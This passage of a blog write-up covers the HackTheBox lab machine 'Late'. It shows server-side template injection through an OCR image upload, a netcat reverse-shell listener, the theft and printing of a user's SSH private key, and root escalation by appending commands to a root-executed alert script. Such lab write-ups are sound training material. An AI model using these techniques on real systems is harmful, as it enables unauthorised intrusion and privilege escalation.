Processing triggers <span class="k">for </span>libc-bin <span class="o">(</span>2.33-6<span class="o">)</span> ...
</code></pre></div></div>
<p>With that installed let’s do a simple test:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# convert <span class="nt">-size</span> 300x100 xc:white <span class="nt">-font</span> Arial <span class="nt">-pointsize</span> 30 <span class="nt">-fill</span> black <span class="nt">-gravity</span> center <span class="nt">-draw</span> <span class="s2">"text 0,0 'Hello from pencer.io'"</span> image.png
</code></pre></div></div>
<p>That creates a simple image with our text on it:</p>
<p><img src="/assets/images/2022-04-24-22-52-11.png" alt="late-pencer-picture" /></p>
<p>Go back to the images site and upload our picture. Click the Scan Image button and save the results.txt file then have a look at it’s contents:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# <span class="nb">cat</span> /home/kali/Downloads/results.txt
<p>Hello from pencer.io
</p>
</code></pre></div></div>
<h2 id="ssti">SSTI</h2>
<p>Now we need to find a way to exploit it, and first thing I tried worked so that was nice and simple, or maybe just lucky! This flask app is vulnerable to server side template injections (SSTI). We covered this on <a href="https://pencer.io/ctf/ctf-htb-bolt">Bolt</a> and also <a href="https://www.hackthebox.com/home/machines/profile/414">Nunchucks</a>. SSTI is well documented, with a lot of info <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">here</a> on the HackTricks site.</p>
<p>This is an interesting variation but the principle is the same. We can test for SSTI with a simple sum, if it’s vulnerable we get the result of the sum returned. Let’s create our payload image:</p>
<p><img src="/assets/images/2022-04-25-21-38-51.png" alt="late-ssti" /></p>
<p>When the Flask app converts that image to text we should get the result of 10*10. Let’s test it by uploading that image on the site, clicking the Scan Image button and saving the results.txt file.</p>
<p>Looking at the result we see we have the answer of 10*10, so we know this is vulnerable:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# <span class="nb">cat </span>results.txt
<p>100
</p>
</code></pre></div></div>
<h2 id="reverse-shell">Reverse Shell</h2>
<p>We can use this to leak data or execute commands remotely. I spent way too long on this next bit, mostly because I couldn’t get the OCR of the Flask app to read my image correctly. In the end I got this working:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# convert <span class="nt">-size</span> 3200x100 xc:white <span class="nt">-font</span> Courier <span class="nt">-pointsize</span> 30 <span class="nt">-fill</span> black <span class="nt">-gravity</span> center <span class="nt">-draw</span> <span class="s2">"text 0,0 ''"</span> image.png
</code></pre></div></div>
<p>So like before I’m creating an image with my text, I’ve used the builtin in function to execute a command, and I’ve passed a standard reverse shell to it. The resulting image looks like this:</p>
<p><img src="/assets/images/2022-04-25-22-46-45.png" alt="late-reverse-shell" /></p>
<p>Start netcat listening to catch the shell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
</code></pre></div></div>
<p>Back to the images site, upload our new file, click on Scan Image button. If it works you will catch the shell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# nc <span class="nt">-nlvp</span> 1337
listening on <span class="o">[</span>any] 1337 ...
connect to <span class="o">[</span>10.10.14.158] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.156] 39690
svc_acc@late:~/app<span class="err">$</span>
</code></pre></div></div>
<p>Check who we are:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~/app$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
</code></pre></div></div>
<h2 id="user-flag">User Flag</h2>
<p>Grab the user flag:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~/app$ ls -ls /home
4 drwxr-xr-x 7 svc_acc svc_acc 4096 Apr 7 13:51 svc_acc
svc_acc@late:~/app$ cd /home/svc_acc
svc_acc@late:~$ ls -lsa
4 drwxrwxr-x 7 svc_acc svc_acc 4096 Apr 4 13:28 app
0 lrwxrwxrwx 1 svc_acc svc_acc 9 Jan 16 18:45 .bash_history -> /dev/null
4 -rw-r--r-- 1 svc_acc svc_acc 3771 Apr 4 2018 .bashrc
4 drwx------ 3 svc_acc svc_acc 4096 Apr 7 13:51 .cache
4 drwx------ 3 svc_acc svc_acc 4096 Jan 5 10:45 .gnupg
4 drwxrwxr-x 5 svc_acc svc_acc 4096 Jan 5 12:13 .local
4 -rw-r--r-- 1 svc_acc svc_acc 807 Apr 4 2018 .profile
4 drwx------ 2 svc_acc svc_acc 4096 Apr 7 11:08 .ssh
4 -rw-r----- 1 root svc_acc 33 Apr 25 13:34 user.txt
svc_acc@late:~$ cat user.txt
fe6539ca01a7245dde79f192ec1130b7
</code></pre></div></div>
<p>I noticed the .ssh folder, inside there’s a key pair:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~$ ls -lsa .ssh
4 -rw-rw-r-- 1 svc_acc svc_acc 394 Apr 7 11:08 authorized_keys
4 -rw------- 1 svc_acc svc_acc 1679 Apr 7 11:08 id_rsa
4 -rw-r--r-- 1 svc_acc svc_acc 394 Apr 7 11:08 id_rsa.pub
</code></pre></div></div>
<h2 id="ssh-private-key">SSH Private Key</h2>
<p>Grab the private key and we can drop out of this temporary shell and login via SSH:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
<SNIP>
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
</code></pre></div></div>
<p>I just copy and pasted that in to a file on Kali and changed its permissions to 600:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# <span class="nb">cat </span>id_rsa
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
<SNIP>
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw<span class="o">==</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# <span class="nb">chmod </span>600 id_rsa
</code></pre></div></div>
<p>Now let’s log back in to a proper shell:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# ssh <span class="nt">-i</span> id_rsa svc_acc@late.htb
svc_acc@late:~<span class="nv">$ </span>
</code></pre></div></div>
<h2 id="linpeas">LinPEAS</h2>
<p>I grabbed <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">LinPEAS</a> and copied it over:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# scp <span class="nt">-i</span> id_rsa linpeas.sh svc_acc@late.htb:~/
linpeas.sh 100% 758KB 1.0MB/s 00:00
</code></pre></div></div>
<p>There’s one interesting thing spotted by linPEAS:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/usr/local/sbin/ssh-alert.sh
╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
You own the script: /usr/local/sbin/ssh-alert.sh
</code></pre></div></div>
<p>What is this script then I wonder:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
</code></pre></div></div>
<p>It’s a script that sends an email to root@late.htb when an ssh logon is detected.</p>
<h2 id="pspy64">Pspy64</h2>
<p>We can see it’s being executed by root if we have a look with <a href="https://github.com/DominicBreuker/pspy">pspy64</a>. Copy pspy over to the box:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# scp <span class="nt">-i</span> id_rsa pspy64 svc_acc@late.htb:~/
pspy64 100% 3006KB 502.7KB/s 00:05
</code></pre></div></div>
<p>Make pspy64 executable and then run it:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~$ chmod +x pspy64
svc_acc@late:~$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false |||
Scannning for processes every 100ms and on inotify events |||
Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2022/04/26 21:02:01 CMD: UID=0 PID=2344 | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
2022/04/26 21:02:01 CMD: UID=0 PID=2346 | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/04/26 21:02:01 CMD: UID=0 PID=2347 | rm -r /home/svc_acc/app/uploads/*
2022/04/26 21:02:01 CMD: UID=0 PID=2349 | chattr +a /usr/local/sbin/ssh-alert.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2352 | /bin/bash /root/scripts/cron.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2351 | /bin/sh -c /root/scripts/cron.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2350 | /usr/sbin/CRON -f
2022/04/26 21:03:01 CMD: UID=0 PID=2355 |
2022/04/26 21:03:01 CMD: UID=0 PID=2357 | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/04/26 21:03:01 CMD: UID=0 PID=2359 | rm -r /home/svc_acc/app/misc/*
2022/04/26 21:03:01 CMD: UID=0 PID=2360 | chattr +a /usr/local/sbin/ssh-alert.sh
</code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>We can see the ssh-alert.sh script is copied from a root folder and the attributes are changed. This is happening regularly so it’s safe to assume we need to find a way of manipulating the file. The chattr +a command that’s run on it is setting the append attribute. <a href="https://www.howtoforge.com/linux-chattr-command/">This</a> is a useful tutorial but it’s simple enough.</p>
<p>Check attributes with lsattr:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~$ lsattr -a /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
</code></pre></div></div>
<p>Confirms it has a lowercase <strong>a</strong> set which means we can append to the file. We can echo something in to that file like this:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>svc_acc@late:~$ echo "cp /root/root.txt /dev/shm/root.txt; chmod 777 /dev/shm/root.txt" >> /usr/local/sbin/ssh-alert.sh
</code></pre></div></div>
<p>Here I’m copying the root flag to a temporary area and changing permissions so I can read it as a user. Now I can log in to a new SSH session, the script is run and the flag is copied so I can read it:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/late]
└─# ssh -i id_rsa svc_acc@late.htb
svc_acc@late:~$ ls -lsa /dev/shm
4 -rwxrwxrwx 1 root root 33 Apr 26 21:08 root.txt
svc_acc@late:~$ cat /dev/shm/root.txt
f98a55d412b6b72a64a84194764f9196
</code></pre></div></div>
<p>All done. That was a simple box once I got the OCR working. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}Machine Information Late is rated as an easy machine on HackTheBox. The path to root is fairly simple on this box, but with a tricky to get right section where we need to create an image that is read via OCR to text. We take advantage of an SSTI vulnerability on the website on the box to get remote code execution which gives us a shell. From there we find a script is run every time an SSH login is detected, and we take advantage of an append attribute to get code execution as root and complete the box.